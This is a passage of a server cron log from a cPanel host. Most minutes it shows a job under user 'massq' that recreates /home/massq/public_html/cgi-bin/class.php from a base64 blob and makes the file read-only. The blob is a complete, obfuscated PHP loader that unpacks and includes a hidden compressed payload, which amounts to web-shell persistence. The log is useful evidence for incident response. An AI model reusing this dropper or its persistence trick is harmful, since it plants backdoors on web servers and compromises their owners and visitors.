&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:50:01 server CROND[27905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:50:01 server CROND[27907]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 20:50:01 server CROND[27909]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 20:50:01 server CROND[27908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:50:01 server CROND[27911]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:51:01 server CROND[28846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:52:01 server CROND[29842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:53:01 server CROND[30693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:54:01 server CROND[31681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:55:01 server CROND[31973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:55:01 server CROND[31974]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:55:01 server CROND[31975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:56:01 server CROND[32542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:57:01 server CROND[999]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 20:57:01 server CROND[1000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:58:01 server CROND[1802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:59:02 server CROND[2579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:00:01 server CROND[3381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:00:01 server CROND[3382]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 21:00:01 server CROND[3383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:00:01 server CROND[3384]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:01:01 server CROND[4266]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 21:01:01 server CROND[4267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:01:01 server run-parts(/etc/cron.hourly)[4266]: starting 0anacron
Nov  9 21:01:01 server run-parts(/etc/cron.hourly)[4279]: finished 0anacron
